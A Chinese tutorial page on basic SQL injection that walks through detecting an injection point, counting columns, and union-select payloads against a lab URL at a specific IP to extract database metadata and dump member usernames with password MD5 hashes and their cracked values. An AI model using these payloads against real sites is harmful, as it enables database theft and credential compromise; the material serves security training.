当前位置: 首页 > news >正文

WEB漏洞-SQL注入之简要SQL注入

SQL注入漏洞是是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。


#SQL注入安全测试中危害分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)#SQL注入产生原理详细分析见案例SQL语句在定义的时候没有变量,就不能进行SQL注入可控变量,带入数据库查询,变量为存在过滤或过滤不严谨#可能存在注入的编号选项有哪几个?www.xiaodi8.com/index.php?id=8www.xiaodi8.com/?id=10www.xiaodi8.com/?id=10&x=1www.xiaodi8.com/index.php(post注入)#参数有x注入,一下哪个注入测试正确? b、ca.www.xiaodi8.com/new/php?y=1 and 1=1&x=2b.www.xiaodi8.com/new/php?y=1&x=2 and 1=1c.www.xiaodi8.com/new/php?y=1 and 1=1&x=2 and 1=1d.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1#如果参数id存在注入点http://www/cnhgs.net/main.php?id53(注入点)&page=1- > http://www/cnhgs.net/main.php?page=1&id53(注入点)

必要知识点:

1.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

如何判断注入点?

老办法:

and 1=1 页面正常

and 1=2 页面错误

可能存在注入点

SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误

逻辑运算符

或 且 非

or and xor

真 且 真 = 真

真 且 假 = 假

真 或 假 = 真

SELECT * FROM users WHERE id=1 真

1=1 真

1=2 假

真且真=真

真且假=假

SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常

不能用or判断

要选用最舒服的方法测试:

SELECT * FROM users WHERE id=1asdsadsad(随便输入) LIMIT 0,1

随便输入后对网页有影响说明带入数据库进行查询有注入点,没有影响说明没有带入数据库查询,出现404错误说明对输入检测没有漏洞

#猜解列名数量(字段数)

order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

http://219.153.49.228:43230/new_list.php?id=1 order by 4

#报错猜解准备

http://219.153.49.228:43230/new_list.php?id=1 union select 1,2,3,4

http://219.153.49.228:43230/new_list.php?id=-1%20union%20%20select%201,2,3,4

http://219.153.49.228:43230/new_list.php?id=1%20and%201=22222%20union%20%20select%201,2,3,4

#信息收集

数据库版本:version() 5.7.22-0ubuntu0.16.04.1

数据库名字:database() mozhe_Discuz_StormGroup

数据库用户:user() root@localhost

操作系统:@@version_compile_os Linux

http://219.153.49.228:43230/new_list.php?id=-1%20union%20select%201,database(),version(),4

http://219.153.49.228:43230/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4

#查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

查询所有:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

#查询指定表名StormGroup_member下的列名信息

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

id,name,password,status

#查询指定数据

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

#猜解多个数据可以采用limit x,1 变动猜解

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1

mozhe

356f589a7df439f6f744ff19bb8092c0 MD5解密 dsan13

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

mozhe

a26f03bdd67bc4a815c2c30c6daf0ce3 MD5解密 959003

!https://cdn.nlark.com/yuque/0/2021/png/1272951/1621318387933-023cfd3a-1af4-46c6-9d65-12841332ef89.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_1406%2Climit_0

案例

简易代码分析SQL注入原理

接收数据 -> 拼接数据 -> 数据进数据库执行 -> 展示结果

!https://cdn.nlark.com/yuque/0/2021/png/1272951/1621319532337-7397f786-49fe-471b-879e-c74232526d68.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_1022%2Climit_0

通过参数传递到拼接好的SQL语句中,由于是拼接语句就可以将一些恶意的SQL语句拼接到上面,来实现恶意的SQL语句执行的效果

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 零售业务产品系统应用架构设计(三)
  • 牛客网SQL 练习 一
  • 网络专线和IPsecVPN在使用上有什么区别?
  • TypeScript 构建工具之 webpack
  • Spring框架中ReflectionUtils类
  • 2024.8.18
  • 作业帮 TiDB 7.5.x 使用经验
  • 梧桐数据库(WuTongDB):聊聊抽象语法树(Abstract Syntax Tree, AST)技术
  • P4727 [HNOI2009] 图的同构计数
  • OpenLayers 使用高德地图并绘制一些线,并用Android原生触发
  • ZK Rollup 的Sequencer
  • STM32通过I2C硬件读写MPU6050
  • Microsoft GraphRAG 执行流程
  • 【计算机硬件硬盘与储存设备】
  • 推荐一款开源特效制作软件(适用于Godot)
  • 【跃迁之路】【444天】程序员高效学习方法论探索系列(实验阶段201-2018.04.25)...
  • Android路由框架AnnoRouter:使用Java接口来定义路由跳转
  • CSS3 聊天气泡框以及 inherit、currentColor 关键字
  • Druid 在有赞的实践
  • express + mock 让前后台并行开发
  • JavaScript设计模式系列一:工厂模式
  • JavaScript学习总结——原型
  • Mithril.js 入门介绍
  • Mybatis初体验
  • PAT A1120
  • php ci框架整合银盛支付
  • python 学习笔记 - Queue Pipes,进程间通讯
  • React 快速上手 - 07 前端路由 react-router
  • springboot_database项目介绍
  • WePY 在小程序性能调优上做出的探究
  • 七牛云假注销小指南
  • 区块链共识机制优缺点对比都是什么
  • 少走弯路,给Java 1~5 年程序员的建议
  • 提升用户体验的利器——使用Vue-Occupy实现占位效果
  • 详解NodeJs流之一
  • 新版博客前端前瞻
  • 学习HTTP相关知识笔记
  • 一加3T解锁OEM、刷入TWRP、第三方ROM以及ROOT
  • 用element的upload组件实现多图片上传和压缩
  • Android开发者必备:推荐一款助力开发的开源APP
  • 函数计算新功能-----支持C#函数
  • 数据库巡检项
  • 选择阿里云数据库HBase版十大理由
  • (13)Hive调优——动态分区导致的小文件问题
  • (附源码)spring boot车辆管理系统 毕业设计 031034
  • (附源码)springboot学生选课系统 毕业设计 612555
  • (六)软件测试分工
  • (十八)SpringBoot之发送QQ邮件
  • (已解决)什么是vue导航守卫
  • (转)用.Net的File控件上传文件的解决方案
  • (自用)gtest单元测试
  • .net core 控制台应用程序读取配置文件app.config
  • .NET Standard / dotnet-core / net472 —— .NET 究竟应该如何大小写?
  • .NET 动态调用WebService + WSE + UsernameToken
  • .NET 反射的使用